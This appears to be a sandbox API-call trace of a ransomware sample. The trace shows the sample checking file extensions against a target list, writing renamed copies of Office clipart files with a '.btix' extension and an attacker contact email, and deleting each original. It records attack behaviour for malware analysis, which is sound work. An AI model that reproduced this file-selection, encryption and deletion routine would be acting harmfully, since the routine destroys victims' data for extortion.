[0144.666] lstrlenW (lpString=".jpg") returned 4 [0144.666] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.667] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=48380) returned 1 [0144.667] CloseHandle (hObject=0x54c) returned 1 [0144.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf")) returned 0x220 [0144.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0144.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0144.668] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.668] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0144.669] GetLastError () returned 0x0 [0144.669] ReadFile (in: hFile=0x54c, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0xbcfc, lpOverlapped=0x0) returned 1 [0144.698] WriteFile (in: hFile=0x564, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xbd00, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xbd00, lpOverlapped=0x0) returned 1 [0144.814] ReadFile (in: hFile=0x54c, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0144.814] WriteFile (in: hFile=0x564, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0144.814] SetEndOfFile (hFile=0x564) returned 1 [0144.817] CloseHandle (hObject=0x564) returned 1 [0144.817] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.817] SetEndOfFile (hFile=0x54c) returned 1 [0144.820] CloseHandle (hObject=0x54c) returned 1 [0144.820] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0144.850] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf")) returned 1 [0145.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0145.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0145.152] lstrlenW (lpString=".doc") returned 4 [0145.152] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.152] lstrlenW (lpString=".docx") returned 5 [0145.152] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0145.152] lstrlenW (lpString=".pdf") returned 4 [0145.152] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.152] lstrlenW (lpString=".xls") returned 4 [0145.152] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.152] lstrlenW (lpString=".xlsx") returned 5 [0145.152] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0145.152] lstrlenW (lpString=".ppt") returned 4 [0145.152] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0145.152] lstrlenW (lpString=".zip") returned 4 [0145.152] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.152] lstrlenW (lpString=".rar") returned 4 [0145.152] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.152] lstrlenW (lpString=".bz2") returned 4 [0145.152] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.152] lstrlenW (lpString=".7z") returned 3 [0145.152] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0145.152] lstrlenW (lpString=".dbf") returned 4 [0145.152] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0145.152] lstrlenW (lpString=".1cd") returned 4 [0145.152] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0145.152] lstrlenW (lpString=".jpg") returned 4 [0145.152] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.259] GetFileSizeEx (in: hFile=0x420, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=14996) returned 1 [0145.259] CloseHandle (hObject=0x420) returned 1 [0145.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf")) returned 0x220 [0145.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0145.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x420 [0145.260] SetFilePointerEx (in: hFile=0x420, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.260] SetFilePointerEx (in: hFile=0x420, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0145.261] GetLastError () returned 0x0 [0145.261] ReadFile (in: hFile=0x420, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x3a94, lpOverlapped=0x0) returned 1 [0145.262] WriteFile (in: hFile=0x3d0, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x3aa0, lpOverlapped=0x0) returned 1 [0145.263] ReadFile (in: hFile=0x420, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0145.263] WriteFile (in: hFile=0x3d0, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0145.264] SetEndOfFile (hFile=0x3d0) returned 1 [0145.264] CloseHandle (hObject=0x3d0) returned 1 [0145.264] SetFilePointerEx (in: hFile=0x420, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.264] SetEndOfFile (hFile=0x420) returned 1 [0145.267] CloseHandle (hObject=0x420) returned 1 [0145.267] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0145.267] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf")) returned 1 [0145.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0145.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0145.268] lstrlenW (lpString=".doc") returned 4 [0145.268] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.268] lstrlenW (lpString=".docx") returned 5 [0145.268] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0145.268] lstrlenW (lpString=".pdf") returned 4 [0145.268] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.268] lstrlenW (lpString=".xls") returned 4 [0145.268] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.268] lstrlenW (lpString=".xlsx") returned 5 [0145.268] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0145.268] lstrlenW (lpString=".ppt") returned 4 [0145.268] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0145.268] lstrlenW (lpString=".zip") returned 4 [0145.268] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.268] lstrlenW (lpString=".rar") returned 4 [0145.268] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.268] lstrlenW (lpString=".bz2") returned 4 [0145.268] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.268] lstrlenW (lpString=".7z") returned 3 [0145.268] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0145.268] lstrlenW (lpString=".dbf") returned 4 [0145.268] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0145.268] lstrlenW (lpString=".1cd") returned 4 [0145.268] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0145.268] lstrlenW (lpString=".jpg") returned 4 [0145.268] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.270] GetFileSizeEx (in: hFile=0x420, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=4536) returned 1 [0145.270] CloseHandle (hObject=0x420) returned 1 [0145.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf")) returned 0x220 [0145.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0145.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x420 [0145.271] SetFilePointerEx (in: hFile=0x420, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.271] SetFilePointerEx (in: hFile=0x420, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0145.271] GetLastError () returned 0x0 [0145.271] ReadFile (in: hFile=0x420, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x11b8, lpOverlapped=0x0) returned 1 [0145.273] WriteFile (in: hFile=0x3d0, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x11c0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x11c0, lpOverlapped=0x0) returned 1 [0145.274] ReadFile (in: hFile=0x420, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0145.274] WriteFile (in: hFile=0x3d0, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0145.274] SetEndOfFile (hFile=0x3d0) returned 1 [0145.275] CloseHandle (hObject=0x3d0) returned 1 [0145.275] SetFilePointerEx (in: hFile=0x420, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.275] SetEndOfFile (hFile=0x420) returned 1 [0145.277] CloseHandle (hObject=0x420) returned 1 [0145.277] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0145.277] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf")) returned 1 [0145.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0145.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0145.278] lstrlenW (lpString=".doc") returned 4 [0145.278] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.278] lstrlenW (lpString=".docx") returned 5 [0145.278] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0145.278] lstrlenW (lpString=".pdf") returned 4 [0145.278] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.278] lstrlenW (lpString=".xls") returned 4 [0145.278] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.278] lstrlenW (lpString=".xlsx") returned 5 [0145.278] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0145.278] lstrlenW (lpString=".ppt") returned 4 [0145.278] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0145.278] lstrlenW (lpString=".zip") returned 4 [0145.278] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.278] lstrlenW (lpString=".rar") returned 4 [0145.278] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.278] lstrlenW (lpString=".bz2") returned 4 [0145.278] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.278] lstrlenW (lpString=".7z") returned 3 [0145.278] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0145.278] lstrlenW (lpString=".dbf") returned 4 [0145.278] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0145.278] lstrlenW (lpString=".1cd") returned 4 [0145.278] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0145.278] lstrlenW (lpString=".jpg") returned 4 [0145.279] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.279] GetFileSizeEx (in: hFile=0x420, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=9968) returned 1 [0145.279] CloseHandle (hObject=0x420) returned 1 [0145.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf")) returned 0x220 [0145.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0145.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x420 [0145.280] SetFilePointerEx (in: hFile=0x420, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.280] SetFilePointerEx (in: hFile=0x420, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0145.280] GetLastError () returned 0x0 [0145.280] ReadFile (in: hFile=0x420, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x26f0, lpOverlapped=0x0) returned 1 [0145.295] WriteFile (in: hFile=0x3d0, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x2700, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x2700, lpOverlapped=0x0) returned 1 [0145.296] ReadFile (in: hFile=0x420, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0145.296] WriteFile (in: hFile=0x3d0, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0145.296] SetEndOfFile (hFile=0x3d0) returned 1 [0145.296] CloseHandle (hObject=0x3d0) returned 1 [0145.296] SetFilePointerEx (in: hFile=0x420, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.296] SetEndOfFile (hFile=0x420) returned 1 [0145.298] CloseHandle (hObject=0x420) returned 1 [0145.298] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0145.299] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf")) returned 1 [0145.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0145.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0145.299] lstrlenW (lpString=".doc") returned 4 [0145.299] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.299] lstrlenW (lpString=".docx") returned 5 [0145.299] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0145.299] lstrlenW (lpString=".pdf") returned 4 [0145.299] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.299] lstrlenW (lpString=".xls") returned 4 [0145.299] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.299] lstrlenW (lpString=".xlsx") returned 5 [0145.299] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0145.299] lstrlenW (lpString=".ppt") returned 4 [0145.300] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0145.300] lstrlenW (lpString=".zip") returned 4 [0145.300] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.300] lstrlenW (lpString=".rar") returned 4 [0145.300] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.300] lstrlenW (lpString=".bz2") returned 4 [0145.300] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.300] lstrlenW (lpString=".7z") returned 3 [0145.300] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0145.300] lstrlenW (lpString=".dbf") returned 4 [0145.300] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0145.300] lstrlenW (lpString=".1cd") returned 4 [0145.300] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0145.300] lstrlenW (lpString=".jpg") returned 4 [0145.300] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.460] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=8552) returned 1 [0145.460] CloseHandle (hObject=0x338) returned 1 [0145.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf")) returned 0x220 [0145.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0145.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0145.461] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.461] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0145.462] GetLastError () returned 0x0 [0145.462] ReadFile (in: hFile=0x338, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x2168, lpOverlapped=0x0) returned 1 [0145.662] WriteFile (in: hFile=0x3c4, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x2170, lpOverlapped=0x0) returned 1 [0145.666] ReadFile (in: hFile=0x338, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 